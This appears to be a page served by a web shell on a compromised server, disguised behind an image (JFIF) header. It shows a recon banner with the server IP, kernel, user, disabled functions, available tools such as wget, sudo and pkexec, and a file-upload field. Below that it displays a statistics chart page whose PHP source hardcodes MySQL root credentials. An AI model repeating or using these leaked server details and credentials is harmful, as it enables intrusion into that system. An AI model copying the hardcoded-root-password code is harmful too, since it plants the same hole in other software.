????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 13.59.91.46 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/statistics/old/ |
Upload File : |
<!doctype html> <html> <head> <title>Line Chart</title> <script src="js/Chart.bundle.js"></script> <script src="js/utils.js"></script> <style> canvas{ -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } </style> </head> <body> <div style="width:75%;"> <canvas id="canvas"></canvas> </div> <br> <br> <script> <?php $link = mysql_connect ("localhost", "root", "root123"); mysql_select_db ("vpa"); $sql = "SELECT * FROM `KeyStatValues` WHERE `StatType` LIKE 'LaserProduktion'"; $result = mysql_query($sql); $json_data1 = "data : ["; $json_labels1 = "labels : ["; while ($row = mysql_fetch_assoc($result)){ $json_data1 = $json_data1 . $row['Value'].","; $json_labels1 = $json_labels1 . "'".$row['DateStamp']."',"; } $json_data1 = $json_data1 . "]"; $json_labels1 = $json_labels1 . "]"; $sql = "SELECT * FROM `KeyStatValues` WHERE `StatType` LIKE 'LaserResor'"; $result = mysql_query($sql); $json_data2 = "data : ["; $json_labels2 = "labels : ["; while ($row = mysql_fetch_assoc($result)){ $json_data2 = $json_data2 . $row['Value'].","; $json_labels2 = $json_labels2 . "'".$row['DateStamp']."',"; } $json_data2 = $json_data2 . "]"; $json_labels2 = $json_labels2 . "]"; $sql = "SELECT * FROM `KeyStatValues` WHERE `StatType` LIKE 'LaserFilhantering'"; $result = mysql_query($sql); $json_data3 = "data : ["; $json_labels3 = "labels : ["; while ($row = mysql_fetch_assoc($result)){ $json_data3 = $json_data3 . $row['Value'].","; $json_labels3 = $json_labels3 . "'".$row['DateStamp']."',"; } $json_data3 = $json_data3 . "]"; $json_labels3 = $json_labels3 . "]"; ?> var config = { type: 'line', data: { <?php echo($json_labels1);?>, datasets: [{ label: 'Produktion', backgroundColor: window.chartColors.color8, borderColor: window.chartColors.color8, <?php echo($json_data1);?>, fill: false, }, { label: 'Resor', backgroundColor: window.chartColors.color9, borderColor: window.chartColors.color9, <?php echo($json_data2);?>, fill: false, }, { label: 'Filhantering', backgroundColor: window.chartColors.color2, borderColor: window.chartColors.color2, <?php echo($json_data3);?>, fill: false, },] }, options: { responsive: true, title: { display: true, text: 'Chart.js Line Chart' }, tooltips: { mode: 'index', intersect: false, }, hover: { mode: 'nearest', intersect: true }, scales: { xAxes: [{ display: true, scaleLabel: { display: true, labelString: 'MÃ¥ndag' } }], yAxes: [{ display: true, scaleLabel: { display: true, labelString: 'Procent' } }] } } }; window.onload = function() { var ctx = document.getElementById('canvas').getContext('2d'); window.myLine = new Chart(ctx, config); }; </script> </body> </html>